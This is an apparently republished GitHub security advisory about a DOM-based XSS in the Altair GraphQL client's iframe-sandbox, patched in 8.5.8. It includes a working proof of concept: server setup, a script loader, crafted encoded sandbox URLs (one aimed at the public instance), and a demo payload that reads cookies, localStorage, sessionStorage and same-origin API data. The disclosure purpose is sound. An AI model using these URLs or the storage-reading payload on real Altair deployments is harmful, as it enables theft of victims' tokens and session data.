
Loading

Loading
We use strictly necessary cookies to run this site, and analytics cookies to understand how it's used. See our Privacy Policy for details.
A GitHub-reviewed security advisory, not necessarily under active exploitation the way our CISA KEV advisories are, but a real, disclosed vulnerability in an open-source dependency.
Affected packages
Vulnerable: >= 7.2.4, < 8.5.8
Patched in 8.5.8
Vulnerable: >= 7.2.4, < 8.5.8
Patched in 8.5.8
Vulnerable: >= 7.2.4, < 8.5.8
Patched in 8.5.8
Vulnerable: >= 7.2.4, < 8.5.8
Patched in 8.5.8
Details
Altair 8.5.7 accepts plugin configuration directly from the iframe-sandbox query string.
When plugin_sandbox_opts contains type: "scripts" and an attacker-controlled URL in scriptUrls, the sandbox page creates a classic <script src="..."> element and loads the supplied script.
In the intended plugin flow, this page runs inside an <iframe sandbox="allow-scripts"> without allow-same-origin, giving plugin code an opaque origin. However, if a victim opens the crafted sandbox URL directly, that iframe isolation is absent and the attacker-controlled script executes in the origin serving Altair, resulting in DOM-based cross-site scripting (XSS) / arbitrary JavaScript execution in the Altair hosting origin.
Exploitation requires the victim to open a crafted URL.
The sandbox reads its configuration directly from window.location.search.
In packages/altair-iframe-sandbox/src/main.ts:
const searchParams = new URLSearchParams(window.location.search);
const sandboxType = searchParams.get('sandbox_type');
switch (sandboxType) {
case 'plugin':
handlePluginSandbox();
break;
}
handlePluginSandbox() then parses plugin_sandbox_opts:
const searchParams = new URLSearchParams(window.location.search);
const pluginSandboxOptsStr = searchParams.get('plugin_sandbox_opts');
const pluginSandboxOpts = pluginSandboxOptsStr
? (JSON.parse(pluginSandboxOptsStr) as PluginParentWorkerOptions)
: undefined;
The relevant validation only checks the plugin type:
if (pluginSandboxOpts.type !== 'scripts') {
throw new Error('Invalid plugin option type provided!');
}
Values from scriptUrls are then passed to injectScript():
if (pluginSandboxOpts.scriptUrls) {
for (const script of pluginSandboxOpts.scriptUrls) {
await injectScript(script);
}
}
The sink in packages/altair-core/src/utils/inject.ts is:
const script = document.createElement('script');
script.type = 'text/javascript';
script.src = url;
head.appendChild(script);
The intended parent flow relies on browser iframe sandboxing:
// NOTE: Don't add allow-same-origin to the sandbox attribute!
iframe.sandbox.add('allow-scripts');
Direct navigation to the sandbox URL does not have this parent iframe sandbox, so the injected script runs in the normal hosting origin.
The official middleware also clears CSP for paths identified as iframe-sandbox. This is not the root cause, but reduces the chance that a deployment-level CSP will block attacker-controlled external scripts when the default middleware behavior is used.
The following PoC is intentionally benign and demonstrates JavaScript execution in the Altair hosting origin.
mkdir altair-local-test
cd altair-local-test
npm init -y
npm i [email protected] [email protected] [email protected] [email protected]
Create server.js:
const express = require("express");
const { altairExpress } = require("altair-express-middleware");
const { createHandler } = require("graphql-http/lib/use/express");
const { buildSchema } = require("graphql");
const app = express();
const schema = buildSchema(`
type Query {
hello: String
}
`);
const root = {
hello: () => "world",
};
app.all(
"/api/graphql",
createHandler({
schema,
rootValue: root,
})
);
app.use(
"/graphql",
altairExpress({
endpointURL: "/api/graphql",
initialQuery: "{ hello }",
})
);
app.listen(4000, () => {
console.log("Altair UI: http://localhost:4000/graphql/");
console.log("Sandbox: http://localhost:4000/graphql/iframe-sandbox/");
});
Run:
node server.js
Host the following as poc.js on a domain you control:
document.body.textContent = "";
const h1 = document.createElement("h1");
h1.textContent = "Altair iframe-sandbox PoC";
const p = document.createElement("p");
p.textContent = "Script executed in: " + window.location.origin;
document.body.append(h1, p);
Create build-poc-url.js:
const opts = {
id: "local-poc",
type: "scripts",
scriptUrls: ["http://127.0.0.1:8000/poc.js"],
styleUrls: []
};
const url =
"http://localhost:4000/graphql/iframe-sandbox/" +
"?sandbox_type=plugin&plugin_sandbox_opts=" +
encodeURIComponent(JSON.stringify(opts));
console.log(url);
Run:
node build-poc-url.js
This prints a fully encoded URL similar to:
http://localhost:4000/graphql/iframe-sandbox/?sandbox_type=plugin&plugin_sandbox_opts=%7B%22id%22%3A%22local-poc%22%2C%22type%22%3A%22scripts%22%2C%22scriptUrls%22%3A%5B%22http%3A%2F%2F127.0.0.1%3A8000%2Fpoc.js%22%5D%2C%22styleUrls%22%3A%5B%5D%7D
http://localhost:4000/graphql/iframe-sandbox/?sandbox_type=plugin&plugin_sandbox_opts=%7B%22id%22%3A%22local-poc%22%2C%22type%22%3A%22scripts%22%2C%22scriptUrls%22%3A%5B%22http%3A%2F%2F127.0.0.1%3A8000%2Fpoc.js%22%5D%2C%22styleUrls%22%3A%5B%5D%7D
Some deployments also accept:
http://localhost:4000/graphql/iframe-sandbox/index.html?sandbox_type=plugin&plugin_sandbox_opts=%7B%22id%22%3A%22local-poc%22%2C%22type%22%3A%22scripts%22%2C%22scriptUrls%22%3A%5B%22http%3A%2F%2F127.0.0.1%3A8000%2Fpoc.js%22%5D%2C%22styleUrls%22%3A%5B%5D%7D
The page creates:
<script type="text/javascript" src="http://127.0.0.1:8000/poc.js"></script>
The script displays:
Script executed in: http://localhost:4000
This confirms that attacker-controlled scriptUrls reaches script.src and executes in the deployment origin when the page is opened outside the intended sandboxed iframe.
The following routes are only part of the local test environment and are not Altair functionality.
Add:
app.get("/login-demo", (req, res) => {
res.setHeader("Set-Cookie", [
"visible_token=demo-visible-token-123; Path=/; SameSite=Lax",
"http_only_session=demo-http-only-session-456; Path=/; HttpOnly; SameSite=Lax",
]);
res.send(`
<h1>Demo login</h1>
<script>
localStorage.setItem("altair_demo_token", "localStorage-secret-789");
sessionStorage.setItem("altair_demo_session", "sessionStorage-secret-abc");
</script>
<p>Now open the iframe-sandbox PoC URL.</p>
`);
});
app.get("/api/me-demo", (req, res) => {
res.json({
user: "demo-user",
role: "admin-demo",
privateData: "same-origin-api-data",
authenticated: Boolean(req.headers.cookie),
});
});
Visit /login-demo, then open the crafted sandbox URL in the same origin using:
async function main() {
const api = await fetch("/api/me-demo").then((res) => res.json());
document.body.textContent = "";
const pre = document.createElement("pre");
pre.textContent = JSON.stringify(
{
origin: location.origin,
cookie: document.cookie,
localStorage: localStorage.getItem("altair_demo_token"),
sessionStorage: sessionStorage.getItem("altair_demo_session"),
sameOriginApi: api,
},
null,
2
);
document.body.appendChild(pre);
}
main();
Expected behavior:
visible_token is readable through document.cookie;HttpOnly cookie is not readable through document.cookie;localStorage and sessionStorage are readable;This step is optional and only demonstrates the consequences of JavaScript execution in a shared application origin.
The same behavior was also validated against the public Altair instance using a benign payload:
https://web.altairgraphql.dev/iframe-sandbox/?sandbox_type=plugin&plugin_sandbox_opts=%7B%22id%22%3A%22local%22%2C%22type%22%3A%22scripts%22%2C%22scriptUrls%22%3A%5B%22https%3A%2F%2F<controlled-test-domain>%2Fpoc.js%22%5D%2C%22styleUrls%22%3A%5B%5D%7D
The controlled script only displayed:
Script executed in: https://web.altairgraphql.dev
Separately, browser storage for an authenticated Altair Web session was inspected and showed an ALTAIR-API-USER-TOKEN entry in localStorage for https://web.altairgraphql.dev.
Because the sandbox PoC already demonstrates attacker-controlled JavaScript execution in that same origin, this browser-accessible authentication value may be exposed by successful exploitation.
No tokens, storage, user data, or authenticated APIs were accessed during the public validation.
An unauthenticated remote attacker can craft an iframe-sandbox URL that causes attacker-controlled JavaScript to execute in the origin serving Altair when a victim opens the crafted URL.
The impact can become significantly higher when Altair is hosted on the same origin as authenticated application functionality. In such deployments, the injected script may be able to:
localStorage and sessionStorage;HttpOnly cookies cannot be read directly through JavaScript, but they may still be automatically included in same-origin requests according to their cookie attributes.
For the hosted Altair Web deployment, an authenticated session was observed to store ALTAIR-API-USER-TOKEN in same-origin localStorage. Since JavaScript executing in https://web.altairgraphql.dev can access that origin's browser storage, successful exploitation may expose this authentication-related value.
The exact confidentiality and integrity impact depends on the deployment model and on the authenticated functionality exposed on the same origin.
The public validation against web.altairgraphql.dev only demonstrated attacker-controlled JavaScript execution in the Altair origin. No tokens, storage contents, user data, or authenticated APIs were accessed.
EPSS, exploit probability
Low0.22%
estimated chance of real-world exploitation in the next 30 days, higher than 12.8% of every CVE FIRST.org scores
Refreshed 11/10/2026, via FIRST.org's EPSS model, not CVSS, this measures likelihood of exploitation, not how severe it would be.
More npm advisories
Talk to us about this
Find out whether this dependency (or others like it) is actually reachable in your codebase.
Get help patching, or building dependency-scanning into your pipeline going forward.
A secure code review or supply chain review finds this before an advisory does.